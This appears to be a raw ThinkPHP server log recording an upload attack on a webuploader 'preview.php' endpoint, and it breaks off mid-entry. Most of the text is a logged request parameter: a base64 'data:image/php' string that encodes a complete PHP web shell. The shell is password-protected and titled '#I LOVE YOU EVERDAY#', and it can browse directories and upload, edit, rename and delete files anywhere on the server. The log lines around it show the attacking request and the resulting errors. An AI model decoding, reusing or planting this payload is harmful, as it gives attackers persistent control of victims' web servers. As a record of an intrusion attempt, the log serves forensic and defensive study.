'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'libs' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:11+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/Plugin/h-ui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002949s] [吞吐率:339.10req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Plugin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 